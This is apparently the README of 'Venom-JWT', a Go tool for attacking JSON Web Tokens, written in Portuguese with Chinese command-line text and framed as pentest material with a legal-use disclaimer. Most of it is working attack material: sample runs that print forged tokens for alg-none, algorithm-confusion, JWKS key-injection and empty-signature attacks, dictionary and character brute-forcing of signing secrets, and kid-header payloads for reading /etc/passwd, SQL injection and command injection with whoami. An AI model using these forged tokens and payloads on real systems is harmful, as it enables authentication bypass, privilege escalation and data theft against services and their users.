
Ferramenta de verificação de vulnerabilidades/força bruta de chaves desenvolvida para testes de penetração em JWT. Para CVE-2015-9235/chave em branco/ataque de assinatura não verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, gera resultados utilizados para FUZZ; também é possível realizar força bruta (JWT Crack) por meio de dicionário/enumeração de caracteres (incluindo JJWT).
Declaração importante: as técnicas, ideias e ferramentas abordadas neste documento destinam-se exclusivamente ao aprendizado e à comunicação com fins de segurança, sendo proibido a qualquer pessoa utilizá-las para fins ilegais ou lucrativos; caso contrário, as consequências serão de inteira responsabilidade do usuário .
Ferramenta de verificação de vulnerabilidades/quebra de segredos desenvolvida para pentest em JWT. Para CVE-2015-9235/ataque de assinatura não verificada/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, os resultados gerados são usados para FUZZ; também é possível realizar brute-force por dicionário ou enumeração de caracteres.Introdução · Instruções de uso · Avisos · Comunicação técnica
Durante testes de penetração em projetos corporativos, ao trabalhar em projetos com front-end e back-end separados, é comum encontrar JWT usado como Token para validação de permissões. Normalmente, ferramentas como jwt-tool podem ser usadas, mas ainda assim não resolvem tudo de uma vez. Por isso, desenvolvi esta ferramenta auxiliar de penetração JWT em Go, para ajudar todos a realizar testes de escalonamento de privilégios.
Quais são os cenários de aplicação da ferramenta:
Quais são as vantagens da ferramenta:
# 打包
go mod tidy
cd cmd
go build.
# 命令行运行
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
是否使用文件中的payload,默认为空使用角色内置字典(绑定模式2),模式3非空(绑定模式3)
-em int
secret加密模式NONE/MD5/16位MD5/BASE64(默认ALL=>0,NONE=>1,MD5=>2,16位MD5=>3,BASE64)
-fs string
爆破的默认字典,可以自行按猜测的规则修改(配合-fz 位数使用) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
字符爆破最大字符数(如果字符爆破要指定位数-fz)
-jbc string
需要修改的JWT body
-jm int
模式1:(未知Secret)修改Payload越权测试 模式2: (先测试模式1)PayloadFuzz越权测试 模式3:secret文本爆破 模式4:secret字符爆破(如果字符爆破要指定位数-fz)模式5:对JWT的Secret进行验证 (default 1)
-jwt.txt string
JWT字符串
-mz int
字符爆破最小字符数(如果字符爆破要指定位数-mz),默认为1 (default 1)
-pem string
公钥pem的路径(最好绝对路径)
-pt int
选择模式:0为默认全执行,1为修改alg为none(CVE-2015-2951),2为未验证签名导致的越权,3修改非对称密码算法为对称密码算法(CVE-2016-10555) 4为JWKS公钥注入--伪造密钥(CVE-2018-0114) 5 为空签名(CVE-2020-28042)
-s string
已知Secret,默认为空
# 交互式运行
.\cmd.exe
? 【前置选择】未知secret的情况下修改JWT测试越权,请选择模式:
[·] [Use arrows to move, type to filter]
> 模式1:(未知Secret)修改Payload越权测试
模式2:(先测试模式1)PayloadFuzz越权测试
模式3:secret文本爆破
模式4:secret字符爆破
模式5:对JWT的Secret进行验证
? 请输入你的JWT字符串:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【模式1】【模式2】未知secret的情况下修改JWT测试越权,请选择具体测试模式:
[·] [Use arrows to move, type to filter]
> 模式0:默认全执行
模式1:修改alg为none(CVE-2015-2951)
模式2:未验证签名导致的越权
模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555)
模式4:JWKS公钥注入--伪造密钥(CVE-2018-0114)
模式5:空签名(CVE-2020-28042)
? 您在选择【模式1】【模式2】【模式5】中需要修改JWT的第二部分Payload中JSON字符串进行修改测试越权,请从上一步中复制Payload部分修改完后在此输入:
【模式1】【模式5】示例:{"username":"admin","role":"admin"}
【模式2】示例:{"usernmae":"admin","role":"FUZZ"}
请注意【模式2】中的FUZZ此处为字典替换位置,如果不修改可以直接为enter回车默认使用原Payload
? 请输入您搜集的公钥pem的文件路径(最好为绝对路径)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============没secret修改Payload的越权测试===========
① 大部分情况在alg为HS256时候,可以将JWT改为none的情况(CVE-2015-9235)
[+]【alg为none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未验证签名攻击:修改Payload不校验
[+]【无效签名攻击】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击
[+] 【修改非对称密码算法为对称密码算法】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公钥注入--伪造密钥(CVE-2018-0114)攻击
[+]【伪造密钥】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空签名(CVE-2020-28042)攻击
[+]【空签名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意:所有JWT结果都已经保存在运行目录下的result.txt中,可以去重放Intruder测试是否为可行Token
① Na maioria dos casos em que o alg é HS256, alterar o JWT para none (CVE-2015-9235)
② Ataque de assinatura não verificada: modificar o Payload sem validação
③ Ataque de alteração do algoritmo assimétrico para simétrico (CVE-2016-10555)
④ Injeção de chave pública JWKS -- falsificação de chave (CVE-2018-0114)
⑤ Ataque de assinatura vazia (CVE-2020-28042)
É possível fazer o replay diretamente no Repeater.
Outras descobertas de vulnerabilidades especiais:
Ao analisar a primeira parte do JWT, se outros parâmetros forem encontrados, podem surgir outras vulnerabilidades e será exibido um aviso.
// Java的jjwt测试代码
public class JwtExample {
private static void disableKeyLengthCheck() throws Exception {
// 使用反射修改 SignatureAlgorithm.HS256 的 minKeyLength
Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
minKeyLengthField.setAccessible(true);
minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // 将最小密钥长度设置为 0
}
public static void main(String[] args) throws Exception {
disableKeyLengthCheck();
// 原始密钥
String secret = "test@123";
JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
HashMap<String, Object> stringObjectHashMap = new HashMap<>();
stringObjectHashMap.put("test", "test");
jwtBuilder.addClaims(stringObjectHashMap);
System.out.println(jwtBuilder.compact());
}
}
Resultado gerado: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM



As vulnerabilidades relacionadas a seguir (copiei de outros artigos; analisem por conta própria)
1. Leitura arbitrária de arquivo
O parâmetro KID é usado para ler o arquivo de chave, mas o sistema não sabe se o que o usuário deseja ler é realmente o arquivo de chave. Portanto, se o parâmetro não for filtrado, um atacante pode ler qualquer arquivo do sistema.
{ "typ": "JWT", "kid": "/etc/passwd", "alg": "HS256"}
2. Injeção de SQL
O KID também pode extrair dados do banco de dados, o que pode gerar ataques de injeção de SQL. Ao construir instruções SQL, é possível obter dados ou contornar a verificação da assinatura.
Se o campo KID estiver presente, tente a injeção: altere o valor do KID para uma instrução SQL e mude o username para Tom. A chave de assinatura é a mesma da instrução SQL; por exemplo, na instrução SQL, o base64 de 3 é Mw==, então a chave de assinatura aqui é 3:
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}
3. Injeção de comandos
A filtragem inadequada do parâmetro KID também pode causar injeção de comandos, mas as condições de exploração são bastante rigorosas. Se o back-end do servidor usa Ruby e, ao ler o arquivo de chave, utiliza a função open, a construção de parâmetros pode causar injeção de comandos.
{ "typ": "JWT", "kid": "/path/to/key_file|whoami", "alg": "HS256"}
Se outros parâmetros aparecerem, também é possível realizar uma análise mais aprofundada.
Agora vamos ver o módulo de brute-force
Pegue qualquer dicionário da internet.
Testando o JWT1 (secret 123456):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

Testando o JWT2 (jjwt secret test@123):
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

Depois, use o JWT1 para testar o efeito da geração por caracteres:
Aqui, gerei todos os dicionários de 4 a 6 caracteres, com entrada 1234567890. Como a demonstração não precisa ser tão grande, vocês podem testar por conta própria — de qualquer forma, é rapidinho.

Aqui, o arquivo genFuzzDict.txt será gerado no diretório atual. Como o volume gerado é muito grande, originalmente foi usado pool de threads + padrão produtor-consumidor, mas na prática, a partir de 4 caracteres, o programa travava por falta de memória. Então, foi aprimorado para salvar e ler via arquivo de texto; quando o programa encontra a chave, ele encerra sozinho e não lê mais o arquivo.
Vou dar mais um exemplo com MD5:
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

public_key.pem no diretório raiz é obrigatório para testar 模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555). Se o JS da página vazar a chave pública, use o resultado salvo com a chave pública da página; se não houver, use este arquivo como substituto para concluir a geração; caso contrário, ocorrerá um erro.Ferramentas de serviços de pentest no Github: https://github.com/z-bool Venom
Projetos de pesquisa em segurança no Github: https://github.com/SpringKill-team SpringKill Team
Conta pública “阿呆攻防”:
